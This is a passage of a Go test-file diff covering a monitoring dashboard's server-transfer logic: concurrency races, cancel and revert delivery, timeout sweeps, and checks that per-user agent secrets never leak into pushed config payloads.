+ require.Eventually(t, func() bool { + return successes.Load()+conflicts.Load()+otherErrs.Load() == callers + }, time.Second, 10*time.Millisecond, "expected all callers to settle") + + require.Equal(t, int64(0), otherErrs.Load(), "no caller should error with anything other than ErrServerAlreadyTransferring") + require.Equal(t, int64(1), successes.Load(), "exactly one InitiateExclusive may win") + require.Equal(t, int64(callers-1), conflicts.Load(), "all losers must observe ErrServerAlreadyTransferring") + + var pendingCount int64 + require.NoError(t, DB.Model(&model.ServerTransfer{}). + Where("server_id = ? AND status = ?", uint64(1), model.ServerTransferStatusPending). + Count(&pendingCount).Error) + require.Equal(t, int64(1), pendingCount, "DB must contain exactly one Pending row") +} + +// A failure inside the DB transaction must release the per-server claim so a +// later caller can retry. Without this the first failed initiation would +// permanently mark the server as "in flight" in memory and every subsequent +// move would mysteriously return ErrServerAlreadyTransferring. +func TestServerTransferInitiateExclusiveReleasesClaimOnFailure(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + // No server seeded — Initiate's UPDATE will affect zero rows but the + // INSERT still succeeds in SQLite. Force a failure by closing the DB + // briefly via a sub-test that uses an invalid server id; instead, do + // the simpler thing: seed the server, run a successful initiation, + // fail the second (HasPending conflict), then release the first via + // MarkFailed and confirm a fresh initiation succeeds — this exercises + // the release path for both the conflict and the post-terminal recovery. + seedServerForTransfer(t, 1, 100) + + first, err := c.InitiateExclusive(1, 100, 200, 1) + require.NoError(t, err) + require.NotNil(t, first) + + _, err = c.InitiateExclusive(1, 100, 200, 1) + require.ErrorIs(t, err, ErrServerAlreadyTransferring) + + _, err = c.MarkFailed(first.ID, "boom") + require.NoError(t, err) + require.False(t, c.HasPending(1), "MarkFailed must release the pending claim") + + second, err := c.InitiateExclusive(1, 100, 300, 1) + require.NoError(t, err, "after MarkFailed the server must be eligible for a new transfer") + require.NotEqual(t, first.ID, second.ID) +} + +// revertTransition's CAS UPDATE returns RowsAffected=0 whenever a concurrent +// caller (the auth path's MarkVerified, another revert, the timeout sweep) +// has already transitioned the row out of Pending between our tx.First and +// our UPDATE. The old code silently returned (nil, nil) but left the +// in-memory pending entry behind, so the affected server kept enjoying the +// auth tolerance window long after the transfer was settled — a stale +// FromUserID secret would continue to authenticate against a server that +// had moved on. This test pins down "revertTransition must converge the +// in-memory cache to whatever the DB now shows, even on its no-op path." +func TestServerTransferRevertTransitionDropsStaleMemoryOnConcurrentWin(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + require.True(t, c.HasPending(1), "precondition: in-memory pending must hold the row") + + // Simulate "another caller already won the CAS" by transitioning the DB + // row directly. The in-memory pending entry is intentionally left intact + // — we are emulating the race window between two callers. + require.NoError(t, DB.Model(&model.ServerTransfer{}). + Where("id = ?", tr.ID). + Update("status", model.ServerTransferStatusVerified).Error) + + // Cancel's CAS will see RowsAffected=0 and return (nil, nil). With the + // fix in place, in-memory pending must converge to the DB state. + result, err := c.Cancel(tr.ID) + require.NoError(t, err) + require.Nil(t, result, "Cancel against a non-Pending row is a no-op result") + + require.False(t, c.HasPending(1), "in-memory pending must be cleaned when the DB row is no longer Pending") +} + +// OnAgentReconnect is invoked from the gRPC stream handler on every fresh +// agent connection. It looks up the pending transfer and hands it to +// PushIfOnline. A concurrent Cancel can settle the transfer between those +// two steps; if PushIfOnline trusts its parameter blindly and sends the +// ApplyConfig anyway, the new secret races past the cancel's counter-push +// (pushRevertIfOnline). The agent's supersede behaviour gives the last +// arrival priority — so if our stale push arrives last, the agent commits +// the cancelled credential and locks itself out. This test pins down the +// re-check contract: PushIfOnline must verify the transfer is still pending +// for its server right before sending, and become a no-op otherwise. +func TestServerTransferPushIfOnlineSkipsStaleTransferAfterCancel(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + UserLock.Lock() + UserInfoMap[200] = model.UserInfo{AgentSecret: "new-owner-secret"} + UserLock.Unlock() + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + stream := newFakeTaskStream() + s, _ := ServerShared.Get(1) + s.SetTaskStream(stream) + + // Cancel wins the race against the reconnect-triggered push. + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + require.False(t, c.HasPending(1), "precondition: pending must be cleared by Cancel") + + // Drain Cancel's revert push so the next inspection sees only the stale + // PushIfOnline (or its absence). + stream.reset() + + // Simulate the OnAgentReconnect call that captured `tr` BEFORE Cancel + // landed and is only now reaching PushIfOnline. + c.PushIfOnline(tr) + + require.Equal(t, 0, stream.sendCount(), "PushIfOnline must skip a transfer that is no longer pending — otherwise it races past the cancel's counter-push and the agent commits the rejected secret") +} + +type cancelRaceApplyConfigStream struct { + pb.NezhaService_RequestTaskServer + + firstSendBlocked chan struct{} + releaseFirstSend chan struct{} + firstSendClaimed atomic.Bool + releaseOnce sync.Once + + mu sync.Mutex + sent []*pb.Task +} + +type neverReturningTaskStream struct { + pb.NezhaService_RequestTaskServer + reachedSend chan struct{} + release chan struct{} + reachOnce sync.Once + releaseOnce sync.Once +} + +func newNeverReturningTaskStream() *neverReturningTaskStream { + return &neverReturningTaskStream{ + reachedSend: make(chan struct{}), + release: make(chan struct{}), + } +} + +func (s *neverReturningTaskStream) Send(*pb.Task) error { + s.reachOnce.Do(func() { close(s.reachedSend) }) + <-s.release + return nil +} + +func (s *neverReturningTaskStream) releaseAll() { + s.releaseOnce.Do(func() { close(s.release) }) +} + +func newCancelRaceApplyConfigStream() *cancelRaceApplyConfigStream { + return &cancelRaceApplyConfigStream{ + firstSendBlocked: make(chan struct{}), + releaseFirstSend: make(chan struct{}), + } +} + +func (s *cancelRaceApplyConfigStream) Send(task *pb.Task) error { + if s.firstSendClaimed.CompareAndSwap(false, true) { + close(s.firstSendBlocked) + <-s.releaseFirstSend + } + + s.mu.Lock() + defer s.mu.Unlock() + s.sent = append(s.sent, task) + return nil +} + +func (s *cancelRaceApplyConfigStream) releaseBlockedFirstSend() { + s.releaseOnce.Do(func() { + close(s.releaseFirstSend) + }) +} + +func (s *cancelRaceApplyConfigStream) sentTasksSnapshot() []*pb.Task { + s.mu.Lock() + defer s.mu.Unlock() + snapshot := make([]*pb.Task, len(s.sent)) + copy(snapshot, s.sent) + return snapshot +} + +func TestServerTransferCancelRevertWinsWhenPushIfOnlineSendWasAlreadyInFlight(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + UserLock.Lock() + UserInfoMap[100] = model.UserInfo{AgentSecret: "old-owner-secret"} + UserInfoMap[200] = model.UserInfo{AgentSecret: "new-owner-secret"} + UserLock.Unlock() + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + stream := newCancelRaceApplyConfigStream() + defer stream.releaseBlockedFirstSend() + s, ok := ServerShared.Get(1) + require.True(t, ok) + s.SetTaskStream(stream) + + pushDone := make(chan struct{}) + go func() { + defer close(pushDone) + c.PushIfOnline(tr) + }() + + select { + case <-stream.firstSendBlocked: + case <-time.After(time.Second): + t.Fatal("expected PushIfOnline to reach Send before cancelling") + } + + cancelDone := make(chan error, 1) + go func() { + _, err := c.Cancel(tr.ID) + cancelDone <- err + }() + + require.Eventually(t, func() bool { + return !c.HasPending(1) + }, time.Second, 10*time.Millisecond, "Cancel must clear pending while the stale push is blocked") + + stream.releaseBlockedFirstSend() + select { + case <-pushDone: + case <-time.After(time.Second): + t.Fatal("expected blocked PushIfOnline Send to finish") + } + select { + case err := <-cancelDone: + require.NoError(t, err) + case <-time.After(time.Second): + t.Fatal("expected Cancel to finish after the stale push is released") + } + + var refreshed model.ServerTransfer + require.NoError(t, DB.First(&refreshed, tr.ID).Error) + + sentAfterRelease := stream.sentTasksSnapshot() + require.NotEmpty(t, sentAfterRelease, "expected at least one delivered ApplyConfig task") + finalApplyConfig := sentAfterRelease[len(sentAfterRelease)-1] + require.Equal(t, uint64(model.TaskTypeServerTransferApply), finalApplyConfig.Type) + require.Contains(t, finalApplyConfig.Data, refreshed.RevertHandshakeSecret, "Cancel revert (RevertHandshakeSecret) must remain the final delivered ApplyConfig") + require.NotContains(t, finalApplyConfig.Data, refreshed.HandshakeSecret, "stale forward HandshakeSecret push must not arrive after the cancel revert") + require.NotContains(t, finalApplyConfig.Data, "old-owner-secret", "user-global AgentSecret must never appear in transfer ApplyConfig payloads") + require.NotContains(t, finalApplyConfig.Data, "new-owner-secret", "user-global AgentSecret must never appear in transfer ApplyConfig payloads") +} + +func TestServerTransferBlockedApplyConfigSendDoesNotBlockUnrelatedRevert(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + seedServerForTransfer(t, 2, 300) + + UserLock.Lock() + UserInfoMap[100] = model.UserInfo{AgentSecret: "server-a-old-secret"} + UserInfoMap[200] = model.UserInfo{AgentSecret: "server-a-new-secret"} + UserInfoMap[300] = model.UserInfo{AgentSecret: "server-b-old-secret"} + UserInfoMap[400] = model.UserInfo{AgentSecret: "server-b-new-secret"} + UserLock.Unlock() + + transferA := initiateAndRegister(t, c, 1, 100, 200, 1) + transferB := initiateAndRegister(t, c, 2, 300, 400, 1) + + blockedStream := newCancelRaceApplyConfigStream() + defer blockedStream.releaseBlockedFirstSend() + serverA, ok := ServerShared.Get(1) + require.True(t, ok) + serverA.SetTaskStream(blockedStream) + + serverBStream := newFakeTaskStream() + serverB, ok := ServerShared.Get(2) + require.True(t, ok) + serverB.SetTaskStream(serverBStream) + + pushDone := make(chan struct{}) + go func() { + defer close(pushDone) + c.PushIfOnline(transferA) + }() + select { + case <-blockedStream.firstSendBlocked: + case <-time.After(time.Second): + t.Fatal("expected server A PushIfOnline to block inside Send") + } + + cancelDone := make(chan error, 1) + go func() { + _, err := c.Cancel(transferB.ID) + cancelDone <- err + }() + + select { + case err := <-cancelDone: + require.NoError(t, err) + case <-time.After(200 * time.Millisecond): + t.Fatal("blocked Send for server A must not block server B cancel/revert delivery") + } + + require.Equal(t, 1, serverBStream.sendCount(), "server B revert ApplyConfig must be delivered while server A is blocked") + var refreshedB model.ServerTransfer + require.NoError(t, DB.First(&refreshedB, transferB.ID).Error) + require.Contains(t, serverBStream.sent[0].Data, refreshedB.RevertHandshakeSecret, "server B revert must carry its per-transfer RevertHandshakeSecret") + require.NotContains(t, serverBStream.sent[0].Data, "server-b-old-secret", "user-global AgentSecret must never appear in transfer payloads") + require.NotContains(t, serverBStream.sent[0].Data, "server-b-new-secret", "user-global AgentSecret must never appear in transfer payloads") + + blockedStream.releaseBlockedFirstSend() + select { + case <-pushDone: + case <-time.After(time.Second): + t.Fatal("expected blocked server A send to finish after release") + } +} + +func TestServerTransferApplyConfigSendDoesNotReturnBeforeSendCompletes(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + UserLock.Lock() + UserInfoMap[200] = model.UserInfo{AgentSecret: "timeout-new-secret"} + UserLock.Unlock() + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + stream := newCancelRaceApplyConfigStream() + defer stream.releaseBlockedFirstSend() + server, ok := ServerShared.Get(1) + require.True(t, ok) + server.SetTaskStream(stream) + + done := make(chan struct{}) + go func() { + defer close(done) + c.PushIfOnline(tr) + }() + + select { + case <-stream.firstSendBlocked: + case <-time.After(time.Second): + t.Fatal("expected PushIfOnline to enter stream.Send") + } + select { + case <-done: + t.Fatal("PushIfOnline must not return while stream.Send is still blocked; stale ApplyConfig could arrive after a revert") + case <-time.After(200 * time.Millisecond): + } + stream.releaseBlockedFirstSend() + select { + case <-done: + case <-time.After(time.Second): + t.Fatal("expected PushIfOnline to finish after stream.Send unblocks") + } +} + +func TestServerTransferRestartRestoresRevertDeliveryWindow(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + UserLock.Lock() + UserInfoMap[100] = model.UserInfo{AgentSecret: "restart-old-secret"} + UserInfoMap[200] = model.UserInfo{AgentSecret: "restart-new-secret"} + UserLock.Unlock() + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + c.Stop() + + reborn := NewServerTransferClass() + defer reborn.Stop() + ServerTransferShared = reborn + + if got, ok := reborn.LookupRevertDelivery(1); !ok || got.ID != tr.ID { + t.Fatalf("restart must preserve reverted transfer delivery window, got transfer=%v ok=%v", got, ok) + } + + stream := newFakeTaskStream() + server, ok := ServerShared.Get(1) + require.True(t, ok) + server.SetTaskStream(stream) + + reborn.OnAgentReconnect(1) + + require.Equal(t, 1, stream.sendCount(), "new-secret reconnect after dashboard restart must receive the rollback ApplyConfig") + var rebornTr model.ServerTransfer + require.NoError(t, DB.First(&rebornTr, tr.ID).Error) + require.Contains(t, stream.sent[0].Data, rebornTr.RevertHandshakeSecret, "rollback must carry the per-transfer RevertHandshakeSecret") + require.NotContains(t, stream.sent[0].Data, "restart-old-secret", "user-global AgentSecret must never appear in transfer payloads") + require.NotContains(t, stream.sent[0].Data, "restart-new-secret", "user-global AgentSecret must never appear in transfer payloads") +} + +// MarkVerified is called from the auth hot path on every agent RPC. The old +// signature conflated "no pending entry" (the expected idempotent case) with +// "DB UPDATE failed" by both returning the same (nil, false) tuple, so a real +// DB error during the transition was silently dropped. That left the auth +// tolerance window open indefinitely for the affected server (the in-memory +// pending entry was never cleared because the transition appeared to +// succeed-but-no-op) and gave operators no signal that the dashboard couldn't +// finalize transfers. This test pins down: a genuine DB failure during the +// CAS UPDATE must surface as a non-nil error so callers can log it. +func TestServerTransferMarkVerifiedSurfacesDBError(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + initiateAndRegister(t, c, 1, 100, 200, 1) + + // Dropping the table makes any UPDATE against server_transfers return + // "no such table". This is the same shape of failure a corrupt schema, + // closed connection, or runaway lock would produce in production. + require.NoError(t, DB.Migrator().DropTable(&model.ServerTransfer{})) + + _, transfer, err := markPendingVerified(t, c, 1) + require.Error(t, err, "DB-level failures must propagate up to the caller") + require.Nil(t, transfer) +} + +// The idempotent no-op cases (no pending entry OR concurrent caller already +// settled the row) must return (nil, nil) — distinguishable from a real DB +// error by the absence of an error. Without this contract the auth path +// cannot tell "already verified, all good" from "DB is broken, bail". +func TestServerTransferMarkVerifiedNoOpReturnsNilError(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + // Case 1: no pending entry at all. + ok, transfer, err := markPendingVerified(t, c, 1) + require.NoError(t, err, "no pending entry must be a silent no-op, not an error") + require.False(t, ok) + require.Nil(t, transfer) + + // Case 2: pending entry exists but the DB row was concurrently transitioned + // out of Pending — RowsAffected=0 is still an idempotent no-op. + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + require.NoError(t, DB.Model(&model.ServerTransfer{}). + Where("id = ?", tr.ID). + Update("status", model.ServerTransferStatusCancelled).Error) + + ok, transfer, err = markPendingVerified(t, c, 1) + require.NoError(t, err, "concurrent CAS loser must be a silent no-op, not an error") + require.False(t, ok, "lost CAS must report verified=false so auth rejects the credential") + require.Nil(t, transfer) +} + +// NewServerTransferClass must surface DB load failures via the standard logger +// so operators see the failure. The original implementation discarded the +// error from DB.Where(...).Find(&pending); a corrupted schema or transient +// query failure on startup would silently leave the in-memory pending index +// empty, evaporating the auth-tolerance window for every in-flight transfer +// without any operator-visible signal. This test pins the contract: the error +// must be logged with a NEZHA prefix. +func TestNewServerTransferClassLogsDBLoadError(t *testing.T) { + originalDB := DB + originalServerShared := ServerShared + originalServerTransfer := ServerTransferShared + defer func() { + DB = originalDB + ServerShared = originalServerShared + ServerTransferShared = originalServerTransfer + }() + + db, err := gorm.Open(sqlite.Open(":memory:"), &gorm.Config{}) + require.NoError(t, err) + DB = db + ServerShared = NewServerClass() + + // Don't migrate ServerTransfer — the Find below will fail with + // "no such table", which is the same failure shape a corrupted DB + // would surface in production. + + var buf bytes.Buffer + originalOutput := log.Writer() + log.SetOutput(&buf) + defer log.SetOutput(originalOutput) + + c := NewServerTransferClass() + defer c.Stop() + + logged := buf.String() + require.True(t, + strings.Contains(logged, "NEZHA") && strings.Contains(logged, "transfer"), + "NewServerTransferClass must log DB load failures so operators notice; got %q", logged) +} + +// revertTransition's self-heal step previously deleted c.pending[t.ServerID] +// whenever the DB row was non-Pending, regardless of which transfer ID the +// in-memory entry was pointing at. After Retry creates a new Pending row for +// the same server, the in-memory pending entry holds the NEW transfer — but +// `cancelServerTransfer` still accepts the historical (terminal) transfer ID +// and routes it through revertTransition. The stale-id Cancel then wiped the +// fresh Pending entry's auth-tolerance window and re-opened the door for +// double initiation, even though the actual DB row it operated on never +// changed status. This test pins the contract: revertTransition's self-heal +// must only drop the in-memory entry it actually owns (same transfer ID). +func TestServerTransferCancelOnStaleTerminalKeepsNewPendingIntact(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + UserLock.Lock() + UserInfoMap[200] = model.UserInfo{AgentSecret: "target-secret"} + UserLock.Unlock() + + first := initiateAndRegister(t, c, 1, 100, 200, 1) + _, err := c.MarkFailed(first.ID, "boom") + require.NoError(t, err) + require.False(t, c.HasPending(1), "precondition: first transfer must be released") + + // Operator (or admin) re-issues the transfer. Retry uses the live owner + // (still user 100 because MarkFailed reverted it) and emits a fresh + // Pending row for the same server. + var refreshed model.ServerTransfer + require.NoError(t, DB.First(&refreshed, first.ID).Error) + second, err := c.Retry(&refreshed, 1) + require.NoError(t, err) + require.NotEqual(t, first.ID, second.ID, "Retry must create a new transfer id") + require.True(t, c.HasPending(1), "precondition: Retry must register the new pending row") + + // Now the buggy path: someone (UI, replayed API call, automation script) + // calls Cancel against the OLD terminal transfer's id. cancelServerTransfer + // doesn't gate on t.Status == Pending — only on permission — so the call + // reaches revertTransition. + result, err := c.Cancel(first.ID) + require.NoError(t, err) + require.Nil(t, result, "Cancel on a terminal row must be a silent no-op") + + require.True(t, c.HasPending(1), + "the fresh pending transfer must survive Cancel against the stale terminal id") + got, ok := c.LookupPending(1) + require.True(t, ok) + require.Equal(t, second.ID, got.ID, + "in-memory pending must still point at the new transfer, not be wiped by a stale id") +} + +// Cancel -> revertTransition synchronously calls pushRevertIfOnline at the +// end. That call captures the terminal transfer `tr` and races for the +// per-server applyConfigSendLock against any concurrent PushIfOnline (e.g. +// because the operator immediately Retried). If the new transfer's +// PushIfOnline acquires the lock FIRST and delivers the new owner's secret, +// then the still-queued pushRevertIfOnline for the OLD transfer must NOT +// send its rollback — doing so overwrites the new transfer's secret on the +// agent (supersede is last-arrival-wins), the new transfer never reconnects +// under its target secret, and it sits Pending until the 24h timeout sweep. +// +// Mirror of TestServerTransferPushIfOnlineSkipsStaleTransferAfterCancel +// (which pins down the same invariant on the `pending` index). Pin it on +// the `revertDeliveries` index as well: pushRevertIfOnline must re-check +// revertDelivery currency immediately before Send. +func TestServerTransferPushRevertIfOnlineSkipsStaleDeliveryAfterRetry(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + UserLock.Lock() + UserInfoMap[100] = model.UserInfo{AgentSecret: "old-owner-secret"} + UserInfoMap[200] = model.UserInfo{AgentSecret: "new-owner-secret"} + UserLock.Unlock() + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + + stream := newFakeTaskStream() + s, ok := ServerShared.Get(1) + require.True(t, ok) + s.SetTaskStream(stream) + + // Cancel registers a revertDelivery for tr and synchronously invokes + // pushRevertIfOnline, which delivers the rollback (RevertHandshakeSecret). + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + require.Equal(t, 1, stream.sendCount(), "precondition: Cancel must deliver the rollback ApplyConfig once") + var cancelled model.ServerTransfer + require.NoError(t, DB.First(&cancelled, tr.ID).Error) + require.Contains(t, stream.sent[0].Data, cancelled.RevertHandshakeSecret) + require.NotContains(t, stream.sent[0].Data, "old-owner-secret") + + // Operator immediately Retries — this clears the revertDelivery, installs + // a fresh Pending row, and pushes the new transfer's HandshakeSecret. + var refreshed model.ServerTransfer + require.NoError(t, DB.First(&refreshed, tr.ID).Error) + retried, err := c.Retry(&refreshed, 1) + require.NoError(t, err) + require.True(t, c.HasPending(1), "precondition: Retry must register the new pending row") + require.Equal(t, 2, stream.sendCount(), "precondition: Retry must deliver the new-pending ApplyConfig") + require.Contains(t, stream.sent[1].Data, retried.HandshakeSecret) + require.NotContains(t, stream.sent[1].Data, "new-owner-secret") + + // Simulate the bug window: Cancel's pushRevertIfOnline was scheduled but + // only now reaches the per-server lock — long after Retry has already + // landed and delivered the new secret. Replay it with the stale tr. + stream.reset() + c.pushRevertIfOnline(tr) + + require.Equal(t, 0, stream.sendCount(), + "pushRevertIfOnline must skip a transfer whose revertDelivery has been superseded by a Retry — "+ + "otherwise the agent's last-arrival ApplyConfig supersede commits the rejected old-owner secret "+ + "and the new transfer sits Pending until the 24h timeout") +} + +// SECURITY: the ApplyConfig payload PushIfOnline writes to the agent stream +// must NEVER contain another user's global AgentSecret. During a Pending +// transfer the agent stream is still authenticated by the OLD owner's secret +// (auth tolerance). A malicious old owner who knows their own user-global +// AgentSecret can run a fake agent process under the server's UUID, hold the +// RequestTask stream open, and intercept whatever the dashboard sends. If we +// embed the destination user's global AgentSecret in the payload, the +// attacker recovers a secret that grants access to EVERY agent that +// destination user owns. The transfer credential must therefore be scoped to +// this transfer only — a one-time, per-transfer token that gates the +// agent's reconnect under the new owner's identity and grants no further +// access if leaked. +func TestServerTransferPushDoesNotLeakDestinationUserGlobalSecret(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + UserLock.Lock() + UserInfoMap[100] = model.UserInfo{AgentSecret: "old-owner-global-secret"} + UserInfoMap[200] = model.UserInfo{AgentSecret: "DESTINATION-USER-GLOBAL-SECRET-MUST-NOT-LEAK"} + UserLock.Unlock() + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + + stream := newFakeTaskStream() + s, ok := ServerShared.Get(1) + require.True(t, ok) + s.SetTaskStream(stream) + + c.PushIfOnline(tr) + require.GreaterOrEqual(t, stream.sendCount(), 1, "PushIfOnline must dispatch a transfer ApplyConfig") + + for i, sent := range stream.sent { + require.NotContains(t, sent.Data, "DESTINATION-USER-GLOBAL-SECRET-MUST-NOT-LEAK", + "task[%d] embeds the destination user's global AgentSecret; a malicious previous owner holding the stream can recover it", i) + } +} + +// Symmetric coverage for the revert path: pushRevertIfOnline must not embed +// the FROM-user's global AgentSecret when delivering the rollback over a +// stream that — by definition of the revert window — is now authenticated by +// the NEW owner. Otherwise the new owner (legitimate or compromised) can +// recover the previous owner's secret. +func TestServerTransferRevertPushDoesNotLeakFromUserGlobalSecret(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + UserLock.Lock() + UserInfoMap[100] = model.UserInfo{AgentSecret: "FROM-USER-GLOBAL-SECRET-MUST-NOT-LEAK"} + UserInfoMap[200] = model.UserInfo{AgentSecret: "new-owner-global-secret"} + UserLock.Unlock() + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + + stream := newFakeTaskStream() + s, ok := ServerShared.Get(1) + require.True(t, ok) + s.SetTaskStream(stream) + + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + require.GreaterOrEqual(t, stream.sendCount(), 1, "Cancel must dispatch a revert ApplyConfig") + + for i, sent := range stream.sent { + require.NotContains(t, sent.Data, "FROM-USER-GLOBAL-SECRET-MUST-NOT-LEAK", + "revert task[%d] embeds the source user's global AgentSecret; the now-authenticated destination owner can recover it", i) + } +} + +// sweepTimeouts iterates Pending candidates and synchronously revertTransitions +// each one. If MarkTimeout's pushRevertIfOnline blocks indefinitely on a stuck +// stream.Send, every Pending transfer after it in the sweep would otherwise +// wait — the dashboard's timeout detection would freeze for all other tenants. +// The invariant: the sweeper must process every expired candidate's +// state-transition + revert delivery within a bounded time window regardless +// of how long any single agent's Send takes. +func TestServerTransferSweepTimeoutsNotBlockedByStuckSend(t *testing.T) { + stuck := newNeverReturningTaskStream() + // Release the stuck stream BEFORE the singleton cleanup runs (cleanup is + // deferred first, releaseAll second, so LIFO unblocks the send first). + // Without this, the Wait inside sweepTimeouts holds the fan-out goroutine + // open and the test would hang on DB teardown. + + c, cleanup := setupTransferFixture(t) + defer cleanup() + defer stuck.releaseAll() + + seedServerForTransfer(t, 1, 100) + seedServerForTransfer(t, 2, 300) + + UserLock.Lock() + UserInfoMap[100] = model.UserInfo{AgentSecret: "a-old"} + UserInfoMap[200] = model.UserInfo{AgentSecret: "a-new"} + UserInfoMap[300] = model.UserInfo{AgentSecret: "b-old"} + UserInfoMap[400] = model.UserInfo{AgentSecret: "b-new"} + UserLock.Unlock() + + trA := initiateAndRegister(t, c, 1, 100, 200, 1) + trB := initiateAndRegister(t, c, 2, 300, 400, 1) + + serverA, ok := ServerShared.Get(1) + require.True(t, ok) + serverA.SetTaskStream(stuck) + + healthy := newFakeTaskStream() + serverB, ok := ServerShared.Get(2) + require.True(t, ok) + serverB.SetTaskStream(healthy) + + expired := time.Now().Add(-2 * c.timeout) + require.NoError(t, DB.Model(&model.ServerTransfer{}). + Where("id IN ?", []uint64{trA.ID, trB.ID}). + Update("created_at", expired).Error) + c.mu.Lock() + if entry, ok := c.pending[1]; ok { + entry.CreatedAt = expired + } + if entry, ok := c.pending[2]; ok { + entry.CreatedAt = expired + } + c.mu.Unlock() + + sweepDone := make(chan struct{}) + go func() { + c.sweepTimeouts() + close(sweepDone) + }() + + deadline := time.After(2 * time.Second) + for { + if healthy.sendCount() > 0 { + break + } + select { + case <-deadline: + stuck.releaseAll() + <-sweepDone + t.Fatal("sweepTimeouts blocked on server A's stuck Send and never reached server B's rollback delivery") + case <-time.After(20 * time.Millisecond): + } + } + + var savedB model.ServerTransfer + require.NoError(t, DB.First(&savedB, trB.ID).Error) + require.Equal(t, model.ServerTransferStatusTimeout, savedB.Status, + "server B's transfer must be marked Timeout while server A's stuck delivery is in flight") + + stuck.releaseAll() + <-sweepDone +} + +// Initiate must refuse to register a Pending transfer when the targeted server +// row no longer exists. Without a RowsAffected==1 check the UPDATE silently +// succeeds with 0 rows touched, Register flips an in-memory ghost entry, and +// auth.go's tolerance window then accepts the previous owner's secret for a +// server that was never actually mutated. The whole transfer must roll back. +func TestServerTransferInitiateAbortsWhenServerRowMissing(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + + const ghostServerID uint64 = 4242 + + var created *model.ServerTransfer + err := DB.Transaction(func(tx *gorm.DB) error { + var err error + created, err = c.Initiate(tx, ghostServerID, 100, 200, 1) + return err + }) + require.Error(t, err, "Initiate must error when servers.id is missing") + require.Nil(t, created, "no transfer row may be returned on a missing server") + + var rows []model.ServerTransfer + require.NoError(t, DB.Where("server_id = ?", ghostServerID).Find(&rows).Error) + require.Empty(t, rows, "the failed Initiate transaction must leave NO ServerTransfer row behind") + + require.False(t, c.HasPending(ghostServerID), "no in-memory pending entry may exist for the ghost server") +} + +// revertTransition must refuse to advance to a terminal state if the +// underlying server row has vanished since the transfer was created. Updating +// servers.user_id with 0 rows affected was silently succeeding and the +// in-memory ServerShared cache was still being flipped back to FromUserID, +// leaving DB and cache divergent on a row that nobody owns. +func TestServerTransferRevertTransitionAbortsWhenServerRowMissing(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + + require.NoError(t, DB.Delete(&model.Server{}, 1).Error) + + _, err := c.MarkFailed(tr.ID, "agent-rejected") + require.Error(t, err, "MarkFailed must error when servers.id has vanished") + + var saved model.ServerTransfer + require.NoError(t, DB.First(&saved, tr.ID).Error) + require.Equal(t, model.ServerTransferStatusPending, saved.Status, + "transfer must remain Pending — a partial revert with no server row would leave DB/cache divergent") +} + +// Regression: pushRevertIfOnline must NOT clear the revertDelivery as soon as +// stream.Send returns success. The agent's handleApplyConfigTask delays the +// actual credential swap by 10s (time.AfterFunc), so by the time the agent +// reconnects under RevertHandshakeSecret, LookupByRevertHandshakeSecret has +// to still find the record — otherwise auth falls through to the global-secret +// table which doesn't know the handshake token, and the agent is permanently +// locked out. The recovery record may only be cleared after the agent has +// actually proven it received and applied the rollback (i.e. after it +// authenticates with RevertHandshakeSecret), or via the natural +// defaultRevertDeliveryRecoveryWindow expiry sweep. +func TestServerTransferPushRevertIfOnlineKeepsRevertDeliveryUntilAgentRotates(t *testing.T) { + c, cleanup := setupTransferFixture(t) + defer cleanup() + seedServerForTransfer(t, 1, 100) + + UserLock.Lock() + UserInfoMap[200] = model.UserInfo{AgentSecret: "new-owner-secret"} + UserLock.Unlock() + + tr := initiateAndRegister(t, c, 1, 100, 200, 1) + stream := newFakeTaskStream() + s, ok := ServerShared.Get(1) + require.True(t, ok) + s.SetTaskStream(stream) + + _, err := c.Cancel(tr.ID) + require.NoError(t, err) + + require.GreaterOrEqual(t, stream.sendCount(), 1, "Cancel must push the rollback ApplyConfig down the live stream") + + revert, ok := c.LookupRevertDelivery(1) + require.True(t, ok, "revertDelivery must persist after the rollback ApplyConfig has been sent — agent applies the new client_secret after a 10s timer and only then reconnects under RevertHandshakeSecret") + require.Equal(t, tr.ID, revert.ID) + + found, ok := c.LookupByRevertHandshakeSecret(revert.RevertHandshakeSecret) + require.True(t, ok, "LookupByRevertHandshakeSecret must succeed after the send — clearing on send strands the agent on a credential the dashboard no longer accepts") + require.Equal(t, tr.ID, found.ID) +} + +// BUG-1 regression: Register() must NOT drop the previous Verified +// HandshakeSecret. A server that has already completed a transfer 